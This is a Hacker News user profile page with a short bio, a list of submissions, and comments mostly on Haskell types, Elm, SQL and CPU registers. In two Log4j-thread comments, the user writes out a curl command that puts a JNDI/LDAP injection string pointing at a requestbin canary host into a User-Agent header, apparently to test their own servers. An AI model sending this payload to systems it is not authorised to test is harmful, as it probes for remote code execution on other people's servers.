HN user

philh

3,655 karma

http://philh.net

Public key: https://keybase.io/philh; proof: https://keybase.io/philh/sigs/hO9jFXfARd9ZZly8mttAB8OFV8hGr4dGlPPzAKyf9xU

Anonymous feedback: http://sayat.me/philh

To the extent that, through my comments and submissions, I am an influence on the HN community, I would strongly prefer to be a positive influence. This includes, but is not limited to, avoiding unnecessary snark or negativity; being charitable towards people I disagree with; and not mouthing off about things I don't understand.

I'd love to know whether I'm achieving this, and you can let me know with the above feedback form. If there's anything you'd like to tell me with no risk of embarrassment, argument, or any form of social repercussions, you can do so there.

You may assume I operate under Crocker's rules <http://sl4.org/crocker.html> for this purpose. Briefly, this means that you don't need to sugar-coat what you have to say, you can just be blunt if that makes it easier for you to say it. (However, I don't operate under Crocker's rules in general.)

If you think this is a good idea, I would also encourage you to create a feedback form of your own.

Posts38
Comments1,399
View on HN
reasonableapproximation.net 5y ago

A command-line grammar of graphics

philh
1pts0
reasonableapproximation.net 5y ago

Specialized Labor and Counterfactual Compensation

philh
1pts0
reasonableapproximation.net 5y ago

Against Boots Theory

philh
2pts0
reasonableapproximation.net 6y ago

In my culture: the responsibilities of open source maintainers

philh
1pts0
reasonableapproximation.net 9y ago

Improving goimports

philh
1pts0
reasonableapproximation.net 9y ago

Data surgery is not rocket science

philh
1pts0
reasonableapproximation.net 10y ago

The Sally-Anne fallacy

philh
3pts0
bl.ocks.org 10y ago

Political Polarization in the US House of Representatives

philh
1pts0
rationalconspiracy.com 10y ago

Asking good questions

philh
2pts0
reasonableapproximation.net 10y ago

Simultaneously print and pipe a command output

philh
1pts0
reasonableapproximation.net 10y ago

How London cycle hire usage varies with weather

philh
3pts5
esr.ibiblio.org 11y ago

How to submit a drive-by patch and get it accepted

philh
9pts0
esr.ibiblio.org 11y ago

How to spot a high-quality repository conversion

philh
1pts0
reasonableapproximation.net 11y ago

Towards a Taxonomy of Logic Puzzles

philh
20pts0
reasonableapproximation.net 11y ago

The Farmer's Dilemma

philh
46pts28
reasonableapproximation.net 11y ago

A half-baked idea for keeping code and docs in sync

philh
1pts0
www.meltingasphalt.com 11y ago

Ads work by cultural imprinting, not emotional inception

philh
142pts98
esr.ibiblio.org 12y ago

Managing compatibility issues in ubiquitous code

philh
2pts0
reasonableapproximation.net 12y ago

Bsert – "better" asserts in Python

philh
1pts0
esr.ibiblio.org 13y ago

CIA and the perils of overengineering

philh
6pts1
peetm.com 14y ago

The infinitely profitable program

philh
12pts1
esr.ibiblio.org 14y ago

Engineering zero-defect software

philh
8pts2
esr.ibiblio.org 14y ago

Making simple connections

philh
3pts0
github.com 14y ago

Sysfuck: bridging the gap between "Turing complete" and "actually useful".

philh
2pts0
esr.ibiblio.org 14y ago

Repositories in Translation

philh
1pts0
www.scientificamerican.com 15y ago

How language shapes thought

philh
63pts42
lesswrong.com 15y ago

Offense versus harm minimization

philh
4pts2
gist.github.com 15y ago

Silly things to do with shebang lines

philh
1pts0
lesswrong.com 16y ago

The effects of glial cells in cognition may have been largely overlooked

philh
1pts0
esr.ibiblio.org 16y ago

Killing the Founder

philh
1pts0

I'm not familiar with that technique and don't know what's going on from that snippet.

In Haskell, any time a heterogeneous list turns out to be fine, I expect to be able to model it. Often it'll look like "I'm applying a polymorphic function to every one of these list elements", and then you can either do a sum type (as discussed in the post) or an existential (which doesn't need you to list up front all the types you might use). If the function is "is negative?", it'll look something like (untested)

    data SomeNum = forall a. Num a => SomeNum a

    isNegative :: SomeNum -> Bool
    isNegative (SomeNum n) = n < 0

    numbers = [SomeNum (3 :: Int), SomeNum (5.2 :: Double), SomeNum valOfUnexpectedNumericType]
    anyNegative = any isNegative numbers
...but it'll often be easier to just apply the `< 0` check to every element before putting them in the list. (If you have several functions you want to apply to them all, that's when the existential trick becomes more useful.)

So you can model heterogeneous lists in this case, and it's safer (because you can't put in a value that can't be compared to 0) but also less convenient. Whether that's an improvement or not will depend on the situation.

I'm still working at the same company as when I wrote this, and that company is still using Haskell (now mostly Typescript instead of Elm). If I did move on I'd ideally want to keep using Haskell, or failing that some other strongly typed language.

But I don't expect that my own experience says much about the language ecosystem in general. I don't particularly have an opinion on whether or not strong types have "won", and I didn't intend to comment on that question.

I don't necessarily disagree. But I do think there's something to be said for knowing that my sql query is "just" slow, not trapped in an infinite loop. Not confident, but I feel like debugging "why is this query so slow that it hasn't returned yet" seems easier than debugging "why has this slow-or-maybe-nonterminating query not returned yet".

I think my position is:

Native heterogeneous lists will often be convenient, and sometimes when you've used them they're going to turn out in retrospect to have been a bad idea but sometimes they'll be just fine, especially if they stay fairly locally scoped. I haven't done any serious work in a language that supports them for years, so I don't have a strong opinion about how often each of those cases happens.

But if you decide you want heterogeneous lists, but your language doesn't support them, so you try to implement that with a sum type, then that's basically always going to be a massive pain.

For whatever it's worth, when I first wrote this I submitted it to /r/haskell (https://www.reddit.com/r/haskell/comments/cs7jyu/a_reckless_...) and it doesn't look like there were any corrections from that; and since then I've implemented an HM type checker and don't remember finding anything that made me think "oh, I was wrong about ...".

So I'm more confident in the essay than I was at the time. But yeah, getting put on guard by those caveats doesn't seem ideal for intro material. (But if I hadn't had them and I'd gotten something wrong, that would also not have been ideal...)

For writing the type checker, "write you a haskell" that someone else linked was really helpful, and so was a paper called "typing haskell in haskell": https://web.cecs.pdx.edu/~mpj/thih/thih.pdf

SQL queries sometimes put floats in GROUP BY. E.g. if you have a many-to-one relationship you might do a query like

    SELECT foo_id, foo.some_float, SUM(bar.some_thing)
    FROM foo JOIN bar USING (foo_id)
    GROUP BY foo_id, foo.some_float
I feel kinda dirty whenever I do this.

Though, I would guess the optimizer (at least in postgres) is smart enough to ensure no float equality checks actually happen under-the-hood. They could be necessary, if the schema was different than I'm imagining; but maybe in that case, it would almost always be a bad idea.

Huh, I remember xearth. It would move the stars every time it redrew itself. I wanted to have it update every second for some reason, and that was distracting, so I patched it to add an option to not do that. Then I couldn't find a maintainer to send it to, so I didn't share it.

Log4j RCE Found 5 years ago

Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works.

My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.

Log4j RCE Found 5 years ago

Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like

    curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?
Log4j RCE Found 5 years ago

I don't really know what's going on here, so to clarify... it gives "simple checking example"

    nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
but when I run that in my terminal I get the response
    ;; Got SERVFAIL reply from 83.146.21.6, trying next server
    Server:  212.158.248.6
    Address: 212.158.248.6#53

    ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
And nothing shows up in "received data" on the website.

Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?

Author in the old thread (https://news.ycombinator.com/item?id=19262249) says

An x86-64 CPU has sixteen integer registers, but 100-200 physical integer registers. Every time an instruction writes to, say, RAX the renamer chooses an available physical register and does the write to it, recording the fact that RAX is now physical-register #137. This allows the breaking of dependency chains, thus allowing execution parallelism.

I'm curious why they have so many more physical registers than... logical? registers. I have a couple of guesses:

* Physical registers are physically cheaper to add than logical registers.

* Adding logical registers breaks backwards compatibility, or at best means you get no speedup on things written (/compiled) for fewer logical registers. Adding physical registers lets you improve performance without recompiling.

* Adding logical registers increases complexity for people writing assembly and/or compilers. Adding physical registers moves that complexity to people designing CPUs.

Are some of these correct? Other reasons I'm missing?

This doesn't acknowledge weekends, which if you have the same 8 hours sleep and 4 hours "not for yourself", add more than 50% to the time you supposedly have "for yourself". (4×5 + 12×2 vs 4×7.)

Which doesn't necessarily change the point, but I'm not sure what if anything the point is supposed to be, and it seems an important omission.

What do you mean by "that's really on you"? I'd normally interpret it as something like... "this is a state of affairs that would be different if you'd acted differently, and you knew or could have been able to know this in advance". Along those lines, anyway. But not having heard about a tool doesn't really seem to fit that.

Science is far from an 'anarchic enterprise'. It has the most rigidly regulated mechanisms for knowledge procurement and knowledge dissemination available to us.

Further, science is a single tradition

Have these rigidly regulated mechanisms been in place for 2500 years? Because if not, that seems like the sort of thing that Feyrabend might have meant by saying science isn't a single tradition.

I don't know what you mean by this - lambdas are values not types.

I think they meant "`Maybe` is a type-lambda abstraction", meaning roughly "a type-level function", which seems true to me. I don't think they meant to say that `Maybe` is a type in the same way String is. (I'd agree it's not, though I'd still call it a type.)

there is no Type type in Haskell

Incidentally there is[1], and it even has kind `Type` just like `String` does. So you can ask "what is the kind of `Maybe Type`" (it's `Type`) where you can't ask "what is the kind of `Maybe Maybe`" (`Maybe` has kind `Type -> Type` so this is a kind error).

[1] https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-...

As I said, I think that's a reasonable but nonstandard way to define the word "type" but it doesn't make much difference - type theory concerns itself with them, whatever they're called.

But to support my "nonstandard" claim:

* https://gitlab.haskell.org/ghc/ghc/-/wikis/commentary/compil... mentions "Types (possibly of higher kind); e.g. [Int], Maybe"

* https://limperg.de/ghc-extensions/#polykinds talks about "types of different kinds", using Int and Monad as examples.

* https://en.wikipedia.org/wiki/Kind_%28type_theory%29 says "the type [] (list) is a type constructor". It uses the terms "data type" and "proper type" for what I think you simply want to call "type".

It's also possible usage is just inconsistent on the subject. (Evidence for this: that second link calls constraints "type-like things", when they're just types according to me.) But my sense is that usually, people engaging seriously with type theory or advanced Haskell would call Maybe and Monad types.

(You're of course right that Maybe is a type constructor and Monad is a typeclass, but that doesn't mean they aren't also types.)

Or Haskell has types like `Void`, `Maybe`, and `Monad`. If you think of them as "sets of possible values", these all have no possible values. But they're very different types.

You could probably define terms such that of these, only `Void` is a "type" - for example, it's the only one that you can use directly as function inputs or outputs. (i.e. you can write a function `Void -> Int` but not a function `Maybe -> Int`.) I think that would be nonstandard, but maybe reasonable to do. But then when you explain what a "type" is you've only explained a subset of what "type theorists" talk about, which includes the others.

"To some degree"? Surely. It could have influenced you to spend a few seconds checking whether the account was a throwaway. I think that would have been entirely reasonable.

But it didn't influence you "to some degree". We can be more specific than that. It influenced you to accuse the account of being a throwaway without spending a few seconds to check.

I do think that was mildly unreasonable. Not super unreasonable, but mildly.

It's simple, at least in theory: Don't go along with decisions you disagree with until you've voiced your concerns and they have been addressed.

Depending how I read "go along", "disagree" and "addressed", I think this either doesn't help or is unrealistic.

Like... suppose I say "this plan will run into scaling issues at some point" and the other person can say "that's true, but we don't know if we'll get enough usage for that to be a problem and in the meantime it lets us iterate quickly". I agree with this, but I still think we should go with the more robust thing up-front. How do I proceed?

I could say that I'm not going to work on that plan until I'm convinced it's the best plan. But if everyone followed this advice, approximately nothing would ever get done. If you have a team implementing a feature or product, it's important that everyone is working in the same direction even if they don't all think it's the best direction to go. It's not realistic to expect unanimous agreement on what the best direction is, even if everyone sits down to discuss it calmly and sensibly for a few hours.

Or I could say that my concerns have been addressed, and I go ahead and work on this plan. But why this plan, and not the plan that I prefer? There's a risk that we just go with the plan proposed first, or by the person who's most stubborn about liking theirs, or drawn at random from a hat. That seems bad too.

I don't think there's a good way to proceed where I don't at least try to answer: which of us is more likely to have a good plan? And if I assume I'm below average when I'm not, I'm more likely to get the wrong answer to that question, and then bad decisions are more likely to get made.

Having valid concerns is orthogonal to whether someone is above or below average.

The things that make me a better dev than I used to be, and a better dev than most people just starting out, certainly aren't orthogonal to my ability to have valid concerns and not-have invalid ones.

If you simply mean that above-average people can have invalid concerns, and below-average people can have valid ones, then I agree but I don't know why you bring it up. I don't think I suggested otherwise.

So I decided to gamble on the opposite. Now I just assume I’m below average.

It serves me well. I listen more. I ask a lot of questions. I’ve stopped thinking others are stupid. I assume most people are smarter than me.

To assume you’re below average is to admit you’re still learning. You focus on what you need to improve, not your past accomplishments.

I dunno, I'm not convinced this is what "assuming you're below average" really looks like. At least not all of it.

When I think I'm below average I go along with decisions I disagree with; "that's not the strategy I'd go for but you're the person who actually knows our customers" or "that's not the architecture I'd implement but you have more experience with these things". When I think I'm above average, I'll push back harder. It would be nice to get everyone on the same page, ask questions until either I'm convinced or they are, but I don't think that's always realistic.

What does Derek do in situations like that?

Fair enough. I get the sense we're working on fairly different apps.

It's also possible that if the app I'm working on were structured differently, we'd have done things more like the way you're doing things. I'm getting vague thoughts in my head along those lines, which I'll have to let ruminate and see if they go anywhere.

Which is not how they try to promote Elm.

I agree with this, FWIW. And I too don't recommend Elm, and wouldn't start a new project in it.

I wasn't offended, just confused.

If it seems confusing, it's because it is. That's the point I'm trying to make. I have seen — several times across a number of projects — people writing code with a philosophical ideal along the lines of "well, this page should only know about the state (a subset of the model) that it is responsible for, so I won't give it the whole model. Also it will only send the messages related to just this page. Oh, requirements changed. No problem, I'll just add another part of the global state as an argument. Oh, requirements changed again, and I need to send a global message. Hmm… I'll just… etc"

But... none of that, as far as I can tell, gives you a signature that looks like this? Even making the kind of changes where you think "okay, this is an ugly hack, if I'd known about this in advance I'd never have written it this way, but I don't have time to go back and do it properly so..."

If you've genuinely seen signatures that look like this, then my sense is that the people who wrote those functions have different problems than the one you describe.

Maybe I'm pulling on something that turns out not to matter here. Like, if you've experienced the problem you describe, and you just came up with an example silly type signature that turns out not to really work as an example, then fair enough, that's not a big deal. But if this post was inspired by seeing type signatures looking like that, and trying to explain those type signatures, and trying to come up with advice that will prevent them, then I would guess the advice is mistargeted. Or maybe I'm missing something and the process you describe really does lead to a signature like that, by people who are generally more-or-less competent; I don't say that it couldn't happen, only that I don't see how it could.

(I disagree with the sentiment "If it seems confusing, it's because it is." If people who lack a certain mental model repeatedly make the same sort of mistake, and generate something that seems confusing to people who have that model, it can be extremely helpful for the people with the model to figure out what's going on so they can try to share the model.)

Did you, perhaps, mean something like

    updatePersonalInformation
       : PersonalInformationMsg
      -> Model
      -> Result (PersonalInformationModel, Cmd PersonalInformationMsg)
                (Model, Cmd Msg)
         
? That would let a person say "this branch gets to update the global model, but all the others can stick with local changes and I just need to wrap their return value in `Err`".

(Which is still silly, just start the function with

    let local : (PersonalInformationModel, Cmd PersonalInformationMsg) -> (Model, Cmd Msg)
        local = ...
and wrap the return values in that. But I can at least see what someone would be doing with a type signature like the `Result` version.)

No. Like I said, I've only worked on one Elm app, and that one doesn't let model logic be modified by any page (with some well-defined exceptions). But it's what I'd expect to sneak in if we hadn't architectured it to forbid that kind of thing. I agree that the time-travel debugger would help, but... I guess, even if that makes it less costly, I'm not seeing the benefits.